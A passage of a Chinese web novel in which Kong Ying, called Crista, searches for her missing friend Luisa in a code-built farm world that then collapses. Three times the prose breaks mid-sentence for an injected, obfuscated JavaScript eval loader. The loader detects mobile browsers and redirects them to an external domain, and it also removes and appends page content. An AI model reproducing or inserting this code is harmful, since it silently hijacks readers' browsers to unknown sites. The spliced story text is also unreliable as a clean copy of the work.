孔映对上那天使般的笑颜,不再头晕目眩。 “真的能想明白吗?” “当然。”胡丽安抬眼看了眼窗外,悠悠道,“我想我应该是做到了,来到这里是我做过的最正确的选择。” “胡丽安,”孔映突然叫她声,“如果你也可以选择遗忘掉过去,你会怎么选?” 胡丽安诧异看过来,转瞬一笑:“你怎么知道我没有选择过呢?” 问罢,她懒洋洋打了个哈欠,说道,“很晚了,克莉丝塔,反正今晚你是想不明白这些的,不如早点回去休息。” 孔映收起脸上愣愣的表情,点了点头。 夜访由此结束,她回到文森特家的阁楼上,除了英格玛外,没有人发现她的短暂离去。 翌日,孔映醒来已经是临近中午的事,彼时路易莎已经和英格玛早早拜访完文森特农场的邻居们,并从他们那儿带回不少礼物来。午餐时,路易莎在饭桌上谈起她们拜访胡丽安的事,声称英格玛与胡丽安一见如故,很是投缘。 孔映听到这里下意识看向英格玛,女孩也看向她,短暂相视后英格玛便埋头吃起东西。也是这一刻,孔映终于反应过来昨天夜里她感知到的那种微妙的违和感是什么—— 从见面起,英格玛就从未主动和她说过话,甚至还隐秘地避及同她交谈。换句话说,英格玛似乎并不喜欢她。 惊觉到这一点后,孔映再也无法忽视英格玛的细微反应。午后,她跟随她们前去拜访格拉斯一家,经过刻意的观察和对比,孔映发现英格玛会主动和碧翠丝说话,会对碧翠丝流露出一种友善,尽管并不像路易莎那样热烈和亲切,也是礼貌且真挚的,而她对自己则更像是表现出一种疏离和客套。 “……” 现在,她开始怀疑她从前就认识英格玛,说不定还得罪过她。 “对了碧翠丝,”路易莎盘腿坐在果树下,边吃布丁边说,“我还没告诉你那两颗种子的近况,今早我去后院时它们已经长得很高,也许要不了多久就能结果了。” “真让人羡慕,我前段时间种下的黑莓至今还没动静,果然我不擅长种植呢。”碧翠丝又扭头问孔映,“克莉丝塔小姐,你的种子呢?” “……我也一样,没有发芽的迹象。” 两人交换完失败的种植经验,谈话焦点又回到英格玛身上,碧翠丝问起英格玛在伊德尔镇做家庭教师时的事,她含糊其辞说了些教人绘画的话,然后不知是刻意转移话题还是其他什么缘故,她说到了安德森,旁若无人地对路易莎说:“明早我要独自拜访安德森。” 她直白地强调是独自拜访,路易莎冲她皱皱鼻子:“好吧,我看他也很想你呢。” 说完四下看看,唯恐卢锡安躲在哪里偷听,不过余下三个女孩里只有孔映看懂了这举动。 “……” 真是个贴心的傻瓜。 三人在格拉斯农场度过整整一下午,傍晚时分才回到家中,多萝西娅比她们更晚到家,她午后又去了趟玛莎的磨坊,凯文则在河谷钓了半日鱼,并赶在傍晚前回来准备好晚餐。 摆在英格玛面前的是一条香草煎鳟鱼,而其他人的餐盘里都是鲈鱼,她抿唇一笑,转过脸对凯文道:“谢谢爸爸!” 凯文同样微笑,难得话多:“河里总是鲈鱼更多,为了钓到鳟鱼,我差点用完全部的饵料。” 路易莎在一旁扑哧一笑:“难怪,我刚刚路过洗衣房还在池子里发现好几条鲈鱼。” “明天我会做蘑菇烩鱼块,还有一条鳕鱼可以做成土豆鱼派。” 孔映默默听着,正想着接下来几天大约都是要吃鱼的,斑斑就悄悄踱步来她手边,蹭了蹭她。 “……” 最近这只鸟总是在吃饭时来蹭吃蹭喝,她也不懂到底是怎样的合理化会让一团代码变成一只能进食的鸟。亦或者,世界根本不需要解释。 不过话又说回来,在座的谁不是一团代码呢? 这么想着,她从餐盘里夹出块焦香蜷曲的鱼皮放到桌上,斑斑美滋滋地磕起头来。 一餐临近尾声,席间始终沉默的多萝西娅出言来,说道:“英格玛,晚餐后来我的工具房里,我有话要和你说。” 母女二人刚好面对面坐着,孔映抬眼看去斜对面,发现英格玛切鱼的动作一顿,然后才点头应下。 晚餐结束,孔映和路易莎并肩在日暮时分的农场散步。路易莎捧着斑斑,意外地有些心不在焉,孔映瞧她许久,问:“你在想什么?” “唔,没什么。” “没什么的话为什么要支支吾吾?” 路易莎无言以对。 她松开斑斑,斑斑猝不及防向下一坠,幸而想起来它还有对翅膀,这才扑棱几下重回半空,冲她叫道:“扑街啦!” 路易莎连连道歉,它这才消停下来,转而去抓蝴蝶,不过经斑斑一番插科打诨后,适才的低迷也像是消解开来。路易莎以为孔映不会再问,偏偏她还是揪住不放。 “路易莎,你刚刚在想什么?” 那样的路易莎显然很不路易莎,像是卸下了一直以来维系着的爽朗,几乎可以说心事重重。孔映无法将这样的形容冠在路易莎头上,心事重重的路易莎,多奇怪。 “我在想妈妈为什么要单独和英格玛谈话,刚才她对英格玛说那句话时,我看见她的神情很奇怪……” 路易莎说得一脸认真,“克莉丝塔,之前那个雨夜,你告诉我说每个人都有自己的秘密,我猜,妈妈大概是发现了英格玛的秘密。” “为什么这么说?” 路易莎犹豫不决地皱了皱眉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15907189|171957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,又走出几步才下定决心:“我认为这和大盗安娜有关。” 孔映摆出副洗耳恭听的模样,路易莎大受鼓舞,接着说:“好吧,我要先向你坦白这个秘密,其实我是从卢锡安那里听来的,有一次他无意间提到大盗安娜,我再三追问他才告诉我有这么一个火车抢劫犯,格蕾塔阿姨担心她的存在会引发尤格利亚居民的恐慌,所以并不希望知情人说出去,知道这件事的人也就很少……但妈妈和玛莎阿姨是格蕾塔阿姨的朋友,我猜她早就知道这回事,所以我一直在装作我并不知情,免得妈妈担心。” 路易莎说完,长长地松了口气,好像这是个天大的能将她压到呼吸不畅的秘密。 而铁石心肠如孔映只觉得路易莎有点卡通。 很难想象这样一个英姿飒爽的青年会因为这种事而苦恼,而这副苦恼模样将她衬托得几乎有些卡通。 于是,终于轮到孔映觉得路易莎像麦克斯了,她无奈又怜爱地低叹声,问她:“所以,你认为多萝西娅单独和英格玛谈话是因为安娜?” 路易莎点点头:“毕竟英格玛是自己驾驶火车回来的,说不定她还见到过这个抢劫犯,如果是这样……”她停下,好像说不出个究竟,也许她压根儿想不出她们相处时谈论某个秘密的场景。 “路易莎。” 孔映突然叫道,等路易莎转过头来,她却又一个字也说不出。 “克莉丝塔?” “我希望你永远开心。”她突然说。 路易莎怔了怔,口吻真诚道:“傻瓜克莉丝塔。” “……” 孔映噎了噎,她竟然被一个真傻瓜叫傻瓜。 “你才是傻瓜。”她顶了回去,发现这下真像个傻瓜,又是一阵语塞。 说话间,夕阳完全没入群峰后,橙红的光芒被苍蓝替代。她们没能走到布满橙色云朵的天际那头,就此折回。 转身时,路易莎忽然压低声音:“克莉丝塔,很高兴有你在,我比刚才开心了很多。”她顿了顿,几乎没有犹豫地开口,“也许这样说很自私,但如果可以,我希望你能永远留在文森特农场……你是我最好的朋友。” 突如其来的宣言令孔映心跳漏了一拍,连脚步也僵停在原处。路易莎伫足回身,双手不甚自然地握成空拳,贴在身体两侧看着她。 两人停在蓝色时刻里,相顾无言。 久到像是夜晚降临,她们的面孔在彼此眼中不再清晰,孔映这才上前一步拥抱住路易莎:“谢谢你,路易莎,你让我觉得这个世界很真很真。” “世界本来就很真很真。” “不一样的,还有,我也很高兴你会把我当作是最好的朋友。”虽然她没有过去的记忆,但直觉告诉她不会再有人把她当作最好的朋友。 “当然啦,你是唯一一个会问我在想什么的人。” 路易莎的话轻得像根羽毛,却奇异的沉甸甸。孔映没想到会是这样一个轻飘飘的理由。 她仍抱着她,却说:“不过路易莎,我不能向你保证我会永远留在这里。” 路易莎为此一僵:“为什么,你说过你喜欢这里,喜欢我们所有人。” “是的,但我依旧无法保证。”孔映这时松开手,后撤一步,在最后一丝光线中寻找到那双明亮的眼睛,“我没有办法做出保证,就像我没办法做出一个明确的决定,路易莎,我一直是个摇摆不定的人。” 正因为此,她才无法想明白胡丽安的话。 她没有等到路易莎的回答,一盏灯从远处摇晃而来,是英格玛前来找她们。 归途中,路易莎一反常态地沉默不语,英格玛与孔映也安静得过分,她们无声回到小楼里,各自回屋。 第二天,路易莎失踪了。 25.二五 起初没有人发现路易莎的失踪,她是在早餐后离开的,那时多萝西娅已经前去农场处理订单,英格玛也出发拜访安德森,凯文在收拾厨房,而孔映在睡觉。 孔映醒来后没有找到路易莎,她问凯文,凯文说也许她去看雇工们收割作物,但孔映也没能在麦田里找到她的踪迹。 她又前往牧场,去时珍妮特和巴泽尔先生正在山毛榉树下给两只狗洗澡,珍妮特按着百般抗拒的麦克斯,问:“克莉丝塔,你怎么来了,路易莎姐姐呢?” “我正在找她,不过看起来她不在这里。” “真是怪事,你竟然会找不到路易莎姐姐——好麦克斯,不要乱动!” 连孔映自己也觉得她找不到路易莎是件怪事,她回想着昨夜路易莎的沉默,觉得她大概真的生气了。路易莎生气的话,会去哪里呢? 她沿着牧场的小路疾走,到胡丽安的农舍外时,见到在草地上画画的贝拉和西塔。贝拉见到她,不问自答道:“克莉丝塔,胡丽安阿姨不在家。” “是吗?那你有见到文森特小姐吗?” “哪位文森特小姐呢?”贝拉歪头反问。 “不管哪位都没见到。”西塔补充。 还真是似曾相识的场面,孔映猜到什么,对她们说:“抱歉,我要进去看看,如果胡丽安和你们生气,我会告诉她是我的错。” 她不由分说地走进庭院里,叩响房门。 胡丽安果然在家,前来应门时发现是她,微微一笑:“就知道会是你,不然那两个小家伙是不会让你进来的。” “路易莎在里面吗?” “路易莎?”胡丽安敛起笑容,“我以为你是来找我的。” 看来也不在。孔映微微蹙额,对她说:“我不知道路易莎去哪儿了,她好像不见了。” “什么意思?” 问她话的并非胡丽安,而是从她身后走来的英格玛。孔映见到她先是惊诧一瞬,随即了然,果然拜访安德森什么的只是个谎言。 “进来说话吧。” 胡丽安将孔映请进屋内,三人再次共处一室,围坐至桌边。这一次,英格玛主动问起孔映:“为什么说路易莎好像不见了?” “我找不到她,她没有告诉我她去哪儿了。” “这的确很奇怪,”胡丽安琢磨会儿,“但也可能只是个误会,或许她只是以为你会睡整个上午,这才没告诉你,而现在说不定已经发现你不在家,也出来找你了。” “……” 所以现在所有人都知道她很爱睡懒觉了吗? 孔映没有否认,但直觉告诉她这并非她小题大做。 “还是说你们发生了什么?”胡丽安敏锐问道。 “我想,我可能惹她生气了。”孔映看向英格玛,“英格玛,昨晚你来找我们时,有没有觉得路易莎和平时不太一样?” 英格玛凝神回想了下,不确信地问:“你是指她很安静?” 孔映颔首,将昨夜路易莎挽留她而她没有回应的事说给二人,胡丽安听后沉吟不语,更像是在想别的事,英格玛脸上则浮现一丝波澜,神色复杂地望着孔映,良晌,她开口:“如果是这样,我知道路易莎在哪儿了,但在告诉你之前,我想先和你谈谈。” 四目相对,孔映眨了眨眼,平静说:“我以为你不愿意和我说话。” 她的话令胡丽安侧目,然后便听她打趣道:“英格玛,你果然还是个藏不住心事的孩子。” “……”英格玛素来端的镇定自若的面庞猝不及防地红了些,她微微抬起下颌,开门见山对孔映说,“我听妈妈说,你已经知道伊德尔镇侵犯尤格利亚的事。” “是,但她没有告诉我更具体的情况。” “当然,因为妈妈知道的并不多。”英格玛缓缓道来,“虽然她在030的提示下研制出一种炸药,可以帮助尤格利亚反击伊德尔镇的侵略者,但她从未离开过尤格利亚,并不清楚外面的情况,即使是格蕾塔阿姨也没告诉她全部真相。” 孔映皱眉,问:“那你呢?” 你知道全部真相吗? “我很清楚,”女孩的话掷地有声,“因为,从伊德尔镇的侵犯者聚集在边境时起,我就一直守卫在尤格利亚。” 她从未去过比那更远的地方。 孔映脑袋像是嗡鸣了一声,对眼前这个女孩有了另一种实感,她笃定地问:“所以你肩膀上的伤是枪伤,火车也是被他们破坏的?” “是的,这次格蕾塔阿姨和火车都受了很重的伤,否则不会是我回来——一直以来我都担心被妈妈识破,所以只好谎称我离开了伊德尔镇。” 而事实的确如此,多萝西娅识破了英格玛的秘密。 “为什么告诉我这些?” “很简单,”她目光直视她,用那种和路易莎有些相似的真挚口吻回答她,“因为我想给你添堵,想要给你添麻烦。” “……” 孔映愣愣,下意识看向胡丽安,胡丽安从旁浅淡一笑,没有为谁说话的意思,但一丝别样的情绪潜藏在她眼底。 孔映大约用了消化一整只烤鸡的时间来消化英格玛略显恶劣的话,确信她曾经得罪过她。 英格玛却无意再交谈下去,沉默过后,她将路易莎可能前往的位置说给孔映,就好像她留下她说这些话真的只是为了给她添些麻烦和困扰,没有别的意图。不过孔映无暇追究,她又一次出发去找寻路易莎。 - 涉过河谷,孔映来到对岸的湿地,穿过草滩进入树林。 林地潮湿,水面冒出树根的瘤结,森林仿佛长满了脚。厚重的枯叶层盖住水流和淤泥,孔映一面小心分辨脚下的路,一面循着英格玛的提示寻觅方向。 “追随水鸟的轨迹,你会发现一颗巨大的栎树。”英格玛如是说。 孔映踩断一根枯枝,枝头一只水鸟随之振翅,她跟随它而去,一只又一只鸟引她前往它们的栖所。 那是一棵巨大的仿佛长在童话书页里的老栎树,主干几乎要三人才能合抱,枝繁叶茂,直攀天际。树皮嶙峋,树根像拱桥一样将地面撑成几块湿软的小岛。 其上是一座树屋,搭建在主干和几根粗枝的交接处,屋顶倾斜,由旧木板拼接而成,顶上经年累月生长出厚厚的花草,一扇歪斜的小窗藤蔓缠绕,一道绳索和木片结成的爬梯悬在树干旁。 孔映走来树下,在苔藓斑驳的树干上发现一些残损的刻痕,年久日深,字迹稚嫩,她辨认出“勇敢”“幸福”“快快长高”这样的字眼,知道是年幼的路易莎和英格玛留下的,这是她们幼时发现的秘密基地,据说,当初英格玛决定离开农场时她就藏来这里。 孔映拽了拽爬梯的绳索,攀爬而上,来到稳稳悬在半空的树屋外,在这里加载了会儿。 意识回笼时,路易莎正错愕地看着她:“克莉丝塔,你怎么会找到这里?” “是英格玛告诉我的。” 树屋简陋,路易莎盘坐在厚厚的旧地毯上,手里捏着个橙色头发的旧布偶,她低头看上一眼,举起布偶问:“是不是很像你?” 孔映到她对面跪坐下,接过布偶打量会儿,有些嫌弃地说:“只有头发的颜色很像吧。” “眼睛也很像啊,表情也很像。” “……” 恕她眼拙吧,这玩偶又痴又呆。 路易莎沉默下来,低下头,像是有些赧然:“我让你担心了吗?” “是有一些。”孔映斟酌着,想和她道歉。 “对不起。”然而先道歉的是路易莎,她红着脸,“我这样做很幼稚。我想让你知道我不高兴,然后你就会告诉我你决定以后一直生活在这里。” 孔映全神贯注地看她,但想不明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915926|171957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白:“可是路易莎,这里有这么多你喜欢的人,她们也都很喜欢你,为什么还要害怕我离开呢?” 即使路易莎已经告诉她,她将她视作最好的朋友,她也想不明白。 “因为只有你是克莉丝塔。”路易莎不假思索地回答,然后想了想,说下去,“有很多话我不能告诉她们,只能告诉你。” “为什么?” 孔映问个不休,路易莎顺着她的疑问,不厌其烦地思索着。 她想到了,回答说:“因为克莉丝塔是一个淡淡的人,像一滴白色的颜料。” “……” 孔映想腹诽句,但说出声来,“听起来好像很无聊。” “怎么会呢?安德森先生教我们绘画时说过,白色在画面里是很重要的存在,即使只有一两点,也会带给人轻盈、朦胧、空灵的感觉,也就是克莉丝塔的感觉。” “……” 孔映怀疑她现在是红色的。 她想不起此前她是否红过脸,但现在的确是有些害臊的,她想,她有些理解一些时候路易莎因为她的话而害羞是怎么一回事了。 “而且,一滴白色的颜料就算搅进其他的颜料里,也只是让它们变得更柔和,不会改变它们的颜色,甚至它还能悄无声息地感受到其他颜料的世界。” “路易莎,你的绘画知识没你说得那么差。”孔映故作淡定,评价道。 “不,克莉丝塔,我不是想着绘画说的,我是想到你才这么说的——我想这就是你会问我在想些什么的原因,因为你感觉到我了。” 路易莎越说越心花怒放,说到最后那句时,早前的低迷一扫而空。 只有孔映还在失神,她在想路易莎的颜料理论,在想路易莎的真切宣言,在想她是如何如路易莎所说感觉到她…… 良久良久,她问路易莎:“这个问题对你来说很重要吗?” 她仅仅是问她在想什么罢了。 “唔……”路易莎似乎很难作答,她想了想,起身来,牵着孔映走去那扇歪斜的小窗前。 “克莉丝塔,你看。” 她伸手指出去,一片湛蓝越过林间的白色雾霭,映入孔映眼帘。 那是海。从树屋的小窗处可以遥遥望见一片海,蔚蓝的,虚幻飘渺的,闪闪烁烁的。 “我和英格玛第一次找到这里时就发现了那片海,但我们从未去过那里,因为再往前就是一片沼泽地,我们没有能够越过那片沼泽的办法。”路易莎向她诉说起往事,“我们回家找到妈妈,认为她可以造一座桥,起初妈妈也很乐意,但后来我陷进沼泽里,吓坏了妈妈,她就再也不许我靠近那里。” “为什么会陷入沼泽?” “我不记得了,这是我醒来后妈妈告诉我的。”路易莎仍眺望着那片海,喃喃低语,“从那以后妈妈就很是担心我,即使到现在她都会叮嘱我不要靠近沼泽、不要靠近山崖这种话,她希望我永远不要陷入危险,永远都……” 一阵疾风吹响树林,水鸟齐飞,掠过窗户的声音盖住路易莎的话语。 孔映听得不真切,又或者那本身就是句未尽的话语。 “永远都留在文森特农场吗?” 她用猜测补全那句话,路易莎猛然转过头来看她,牙齿用力咬住下唇。 “路易莎,这就是那个你一直秘而不宣的秘密吗?” 路易莎松开下唇,无声张了张嘴巴,但好像又有什么东西开始阻挠她说出某句话。 也许真如路易莎所说,她感觉到了她,她终于替她说出那句不能说出的秘密。 “路易莎,你想离开文森特农场。” 群鸟惊飞,大地在波动,树林尽头的蓝色光霭撕裂开,化作一团黑洞向内疾驰而来,吞没了树林和沼泽,吞没了孔映和路易莎,也许还将吞没河谷和整个农场。 世界崩坏了。 26.二六 她坠落着。 像爱丽丝掉进兔子洞。 耳畔风声猎猎,夹杂着嘈乱不堪的声音,直到她再次悬浮在真空之中。 重力不复存在,她无从分辨她是平躺着,还是站立着。四周是漫无边际的漆黑,风与群鸟的呼声消弭,取而代之的是一道深重的吸气声,远得像宇宙之外的声音,又近得像是在耳畔。 久久的沉寂后,孔映听见那个叫做阿涛的男人的声音,格外艰涩:“阿许,打电话给医院。” “干什么啊哥?”女孩的声音疲惫响起,孔映觉得这声音听起来有些像是她抓到斑斑那次时说话的女孩。 “问下那家伙还活着吗,”话音落下,男人痛呼声,又说,“你来了。” “一来就听见你乌鸦嘴。”女人的声音不悦,顿了顿,高声问,“怎么回事?你干了什么?” “你都说她在里面了我还能干什么!是它自己突然变成这样,我就想着……就想着她别死那儿了。” 阿许忙说:“我马上给李大夫——” “你们是谁?” 阿许的话戛然而止,接着是死一般的沉寂。 “你们能听见我说话吗?”那声音接着问。 “可铮姐,涛哥,你们听见了吗?”阿许的声音弱弱响起。 “听见了。”可铮不知道是在回复谁的疑问,但结论都直指她听见了那道异世界声音的事实,她问,“你呢,你是谁?” “我?”适才打断他们的那道声音迟疑下,然后老实回答,“我是路易莎。” 又是一阵死寂。 孔映与另一个世界的三个人同时在眩晕。 “路易莎,你那里怎么样?”可铮问。 “很黑,我什么都看不见。”路易莎好像在惶惑。 “发生了什么事?” “我不记得了。” “什么都不记得了吗?” “当然不是,我记得我是路易莎。” “还有呢?” “还有……”路易莎在思索,“噢,还有克莉丝塔。” “克莉丝塔?你们做了什么?”可铮轻声问,一旁的人大约在查找什么,键盘的敲击声穿越而来。 “我们好像在树林里——” “你还在吗?路易莎?” 可铮等着她的回答,但声音就此中断,她一连叫她几声,都无人回应。路易莎失去了声音。 “阿许,找找看有没有克莉丝塔的信息,我有种感觉……”可铮的声音也一个字比一个字沉闷,仿佛一道屏障正在隔绝两个世界,最后,她的声音如同没入深海中。 至此,一切重归混沌。 漆黑之中,一点白色光霭暧暧闪动下,起初忽隐忽现,而后渐渐变得强烈。 孔映向那一圈光晕走去,或者说飘去,飞去,游离去。 她感觉不到身体的存在,只有意识。 她的意识缓缓靠近那团白光,如果她有躯体,那么大约只需要一只手就能覆盖住那团白光。确切的说它并非是一团,它拥有不规则的形状,如果要孔映形容,它或许像一颗苹果核。 孔映想触碰那白光,想发出些声音,但什么都没发生,她不再像之前几次陷入虚空时那样如鱼得水,她失去了主宰的意志。 这是什么地方?意识之海吗? 难道她要永远陷落在这片虚空中吗? 思索间,苹果核颤动起来,由微弱到剧烈,然后碎裂,一粒籽从中冒出,白光抽丝般流动,牵引出一株嫩芽,摇曳并迅猛拔高,不过瞬息间,亿万点微粒汇聚成一棵树的形状,散发出刺眼的光芒,光芒涌动,反噬了周遭的黑暗,更像是撑破了漆黑空间,世界因此重返光明。 孔映从树屋的地毯上醒来,身旁,路易莎熟睡如孩童。 她从地毯后的沙发上取来一只靠枕垫在路易莎头下,没有唤醒她,接着再次回到窗边。 窗外,遥远的蔚蓝海域在闪烁,林中树木忽隐忽现,偶有断裂的色块浮现,似乎都昭示着世界还没能恢复稳定。 孔映收回目光,回身探索所在的树屋。 她从不同的角落发现了堆积的松果、燃烧到一半的蜡烛、鸢尾花标本以及一柄匕首,一根贯穿树屋的枝桠上悬挂着几串干瘪的蘑菇,有供小憩的沙发,有书桌和木椅。 书桌上有一册厚厚的书,封面上写着「尤格利亚珍稀植物图鉴」字样,孔映翻阅几页,无非是记载了一些名称奇怪的植物以及神奇功效。 她无心钻研,合上书册,却在放下书册时僵住胳膊。 书册下方的桌面上,又一颗苹果刻在那里,和她在指示牌上以及木箱底部见到的苹果刻痕一致。 苹果,苹果核,苹果树…… 这些与苹果相关的意象究竟意味着什么? 孔映最终放下书册,回到路易莎身旁,但她没能唤醒路易莎,即使连摇带晃,路易莎也只是沉沉睡着,她意识到她陷入非自然的昏迷。 为了带路易莎回到树下,孔映几乎耗尽了全部力气。她奋力拽扯来小窗外缠绕的银绿色藤蔓,用刚刚发现的匕首割断柔韧的藤条,手掌因此磨损,接着,她将比她高出一头的路易莎背了起来,用清理掉叶片的藤蔓将她们牢牢系在一起,再沿着爬梯一步步回到树下。 她试图惊起一只水鸟,但世界波动之后的鸟呆若木鸡,她只好沿着和小窗朝向相反的方向行进,不久,她筋疲力尽。 孔映寻到一块干爽的落脚地,将路易莎放下,任她倚靠在树干上,随后自己坐到树干的另一面,环抱住膝盖,望着脚下一株草呆呆出神。 望得久了,眼睛变得酸胀,她后知后觉地发现她忘记眨眼。 眼睫向下扫动的瞬间,模糊的视野清晰了几分,她难以置信地抬起手,摸到脸庞上微凉的湿泪,终于没忍住掉下更多蓄势待发的眼泪。 也许是流泪的缘故,她看见一点细碎的光芒在脚下闪烁,她吸了吸鼻翼,用红肿的手抹了抹泪,微光消失,又或者根本只是错觉。 但孔映脸上仍然显现出一种奇异的情绪,像惊讶,又像好奇。她低下腰,凑近观察她脚边那棵草,如果没记错的话,那册《尤格利亚珍稀植物图鉴》的第一页就记载着这种草: 「名称:风丝草 功效:食用后恢复大量体力,短时间内提升移动速度 珍稀度:80 生长地点:只在特定湿地生长」 “……” 真的只是巧合吗? 尽管孔映对此有所怀疑,但她还是拔下了那株草,握在手里看上两眼后,用一种她觉得格外荒唐的姿态咬下顶端的嫩叶。 像在吃生菜,她咀嚼着,尝出丝黄瓜味,又咬一口,咀嚼,直至吃完整株草。 她还是第一次吃草。 她希冀感觉到身体的变化,但好像无事发生,直到她再次背起路易莎,感觉告诉她这一切荒谬都是真实的。她顾不上吐槽,只是背着路易莎埋头寻路,离开树林…… - 农场里异常安静,鸡群呆滞,麻雀晕了一地。 新建的货仓旁多出一棵榆树,一个农户坐在路边的石头上发呆,谷仓外,阿尔贝特太太在等待,很多人看见她们,但没有人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15928083|171957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 询问孔映为何背着路易莎。 风丝草的效力早已淡下,孔映每一步都走得吃力,抵达胡丽安的农舍外时,汗水已经打湿她的头发和衣物。她难得的有些惴惴不安,唯恐胡丽安也像其他人那样陷入失落中,但这样的顾虑在她听见贝拉的哭声后打消。 她在房门外叫胡丽安,胡丽安应门时一脸凝重,见她背着路易莎,头发湿漉漉贴在面颊上,忙将人带到会客厅的沙发上放下。 贝拉停止了抽噎,她正紧紧抱着西塔,两个小女孩都看向她们。 “文森特小姐怎么了?” “她刚才撞到了头。”胡丽安回到她们身旁,安抚说,“抱歉,你们要自己待上会儿了,回屋子里或者去药圃里,不要离开。” 西塔板着面孔,点点头,牵着依依不舍的贝拉离开会客厅。 孔映等她们走远才问:“胡丽安,刚刚这里发生了什么?” 胡丽安倒了杯牛奶送到她手上,她的手微微颤抖,但还是顺手为孔映理了理乱蓬蓬的头发,孔映觉察到这举动很亲昵,抬眼看看她,她这才坐下,回答她:“一切都陷入黑暗中,什么声音都不剩下,只有两个小家伙在哭。” 她的声音有一丝不稳,“我想不起来我是怎么走到她们身旁的,什么都不存在,似乎连地面也没有……”最后她问,“克莉丝塔,你做了什么?” 孔映看了眼沙发。 她不明白,她只是说出那句路易莎一直以来无法启齿的话。 胡丽安没有穷追不舍,而是话锋一转说:“或许英格玛才是对的,你不适合留在这里。” 一向温柔待人的胡丽安忽而冷淡起来,这样的态度让孔映联想起阿祖拉。 那天她在站台上回应阿祖拉的质问,很是理直气壮地告诉他,无论她做过什么,现在她都只是个失去记忆的人,她讨厌他自以为是的指责,但现在,她无法理直气壮地对胡丽安说同样的话。 她咬了咬嘴唇,像放低姿态的猫:“胡丽安,我什么都不清楚,我知道的一切都很模糊。” “那也是你自己造成的。”胡丽安破天荒地说出冷硬的话来,孔映不可置信地抬头,没有从她眼中找到一丝温和或者于心不忍。 “克莉丝塔,你自我,冷酷,所作所为充满破坏力,即使你忘掉过去,也依旧无法改变这个事实。” 胡丽安的话像一颗颗石子砸落在孔映头上,那些有关白色颜料的形容不堪一击,像一段又一段梦境被击碎。 她很不爽。明明她什么也不记得,什么也不明白,却要被他们指指点点,任意评价,即使她的确如他们所说的那样恶劣,她也至少该知道她曾经做过的事。 她想要清晰地知道过去究竟发生了什么。 这个念头比以往任何一次都坚定。 “胡丽安,告诉我,我究竟是谁?” 她开口,嗓音有些沙哑,两行泪不受控地从眼眶涌出。她揉揉眼睛,止住泪,发现胡丽安偏过头,左侧面庞上同样挂着一行清泪。 许久,胡丽安如释重负般长舒一口气,转回面庞直视她。 “克莉丝塔,你触发了那个条件。” 同时另有一道声音在她脑海中盘旋:“只有你坚定地问出‘我是谁’这个问题的时候,你才有可能找回你的记忆。” 原来,这就是阿祖拉说的触发条件。 “去找英格玛吧,让她带你去见一个人,”胡丽安继续说下去,“她会解答你所有疑问,包括路易莎的全部状况。” “也会让路易莎醒过来吗?” “当然,毕竟,这个世界由她主宰。” 27.〇一 一声汽笛刺破整个尤格利亚的寂静。 黑铁火车喷出浓郁的白雾,呜咽着驶离尤格利亚小镇。 英格玛在驾驶火车,阿祖拉在司炉,孔映在因轰鸣声尖锐耳鸣。 车头轰隆隆逼近隧道,驶入的瞬间,孔映眼前骤然一黑。铁道像是钻入银河间,闪烁着绿光的字符星星般布满隧道,一层层流动的代码构成圆弧形的壁面,其间穿行着螺旋状的字符,一些撞上火车,碎裂重组,继续游弋。 孔映感知不到时间的流逝,甚至感知不到英格玛与阿祖拉是否还在身侧,不过这时,英格玛的声音在她耳畔响起。 “穿过隧道,就是尤格利亚与伊德尔镇的边境,她就在那里。” 孔映深吸口气,下个瞬间,刺目的白光袭面而来…… - 这是她来伊德尔镇的第三天。 没什么人注意到她。 她失忆了,不记得她从哪儿来,又为什么要来这么个鸟不拉屎的地方,只记得她叫克莉丝塔。 克莉丝塔推着木板小车走在街道中央,车轮嘎吱作响,轧过一块塌陷的地砖坑时,里头的锡桶和玻璃瓶碰触出清脆的声响,在寂静的长街上清晰可闻。克莉丝塔停下脚步,弓腰查看下卡住的车轮,然后用力托起推车的前半部,将车轮带回路面上,继续向前。 来这里的第一天,她浑浑噩噩,沿着荒芜的铁轨走了半日才见到人迹,夜晚,她饥肠辘辘在火车站台的候车室睡了一晚。 第二天,她路过一座破败的牛奶厂,进去找了份工作。虽然芙罗拉太太说不会结工钱,但还是很好心地表示可以给她牛奶和面包充饥,废弃的牛棚也可以供她休息。 第三天,她开始送牛奶。 但她起得有些晚,现在已经临近正午,每送一家牛奶就挨一次骂。这里的人很凶,她更不明白为什么她会来这么个鸟不拉屎的地方了。 她什么都不记得。 克莉丝塔将主街上的牛奶送完,只剩下最后一桶,她拐进一条巷子里,找到最后的目的地——维克多酒馆。 